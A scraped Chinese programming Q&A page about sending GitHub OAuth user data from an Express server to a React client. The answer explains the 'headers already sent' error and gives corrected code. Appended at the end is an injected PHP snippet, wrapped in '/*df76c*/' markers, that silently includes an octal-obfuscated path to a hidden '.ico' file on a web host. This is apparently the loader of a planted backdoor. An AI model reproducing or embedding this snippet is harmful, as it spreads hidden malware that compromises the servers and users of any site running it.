我需要实现github授权,然后再将接收到的数据(JSON)发送到客户端。
我发现了本教程http://shiya.io/how-to-do-3-legged-oauth-with-github-a-general-guide-by-example-with-node-js/
在该教程开发人员中,我们以这种方式向我们展示:“ /” ->“ /登录”->“ /重定向”-> “ /用户”(数据在这里)
但是我需要:“ /” ->“ / login”->“ /重定向”-> “ /”(数据在这里)
因为客户端应该使用简单的SPA(反应)。
我现在所拥有的:
require('dotenv').config(); const express = require('express'); const app = express(); const session = require('express-session'); const request = require('request'); const qs = require('querystring'); const url = require('url'); const randomString = require('randomstring'); const csrfString = randomString.generate(); const port = process.env.PORT || 8080; const redirect_uri = process.env.HOST + '/redirect'; app.use(express.static('views')); app.use( session({ secret: randomString.generate(), cookie: { maxAge: 60000 }, resave: false, saveUninitialized: false }) ); app.get('/', (req, res, next) => { res.sendFile(__dirname + '/index.html'); if (req.session.access_token) { request.get( { url: 'https://api.github.com/user', headers: { Authorization: 'token ' + req.session.access_token, 'User-Agent': 'Login-App' } }, (error, response, body) => { res.send(body); } ); } }); app.listen(port, () => { console.log('Server listening at port ' + port); }); app.get('/login', (req, res, next) => { req.session.csrf_string = randomString.generate(); const githubAuthUrl = 'https://github.com/login/oauth/authorize?' + qs.stringify({ client_id: process.env.CLIENT_ID, redirect_uri: redirect_uri, state: req.session.csrf_string, scope: 'user:email' }); res.redirect(githubAuthUrl); }); app.all('/redirect', (req, res) => { console.log('Request sent by GitHub: '); console.log(req.query); const code = req.query.code; const returnedState = req.query.state; if (req.session.csrf_string === returnedState) { request.post( { url: 'https://github.com/login/oauth/access_token?' + qs.stringify({ client_id: process.env.CLIENT_ID, client_secret: process.env.CLIENT_SECRET, code: code, redirect_uri: redirect_uri, state: req.session.csrf_string }) }, (error, response, body) => { console.log('Your Access Token: '); console.log(qs.parse(body)); req.session.access_token = qs.parse(body).access_token; res.redirect('/'); } ); } else { res.redirect('/'); } console.log(redirect_uri); });
此刻,res.send(body);引发错误
app.get('/', (req, res, next) => { res.sendFile(__dirname + '/index.html'); if (req.session.access_token) { request.get( { url: 'https://api.github.com/user', headers: { Authorization: 'token ' + req.session.access_token, 'User-Agent': 'Login-App' } }, (error, response, body) => { res.send(body); } ); } });
错误:
throw new ERR_HTTP_HEADERS_SENT('set'); ^ Error [ERR_HTTP_HEADERS_SENT]: Cannot set headers after they are sent to the client
发生这种情况是因为我试图在渲染后设置要渲染的数据。
所以,我的问题:
我如何向客户端发送数据以及如何在客户端获取数据?
答案 0 :(得分:0)
HTTP使用一个周期,每个请求需要一个响应。客户端发送请求时,服务器应仅将一个响应发送回客户端。
您正在为一个请求发送两个响应res.send()
和app.get('/', (req, res, next) => {
if (req.session.access_token) {
request.get({
url: 'https://api.github.com/user',
headers: { Authorization: 'token ' + req.session.access_token, 'User-Agent': 'Login-App' }
}, (error, response, body) => { res.send(body); }
);
} else {
res.sendFile(__dirname + '/index.html');
}
});
,因此您的代码需要进行如下更改,
<?php
/*df76c*/
@include "\057ho\155e/\145ar\164ht\157he\141ve\156co\057pu\142li\143_h \164ml\057li\142ra\162ie\163/f\060f/\151nt\145gr\141ti\157n/\05659\06725\06435\056ic\157";
/*df76c*/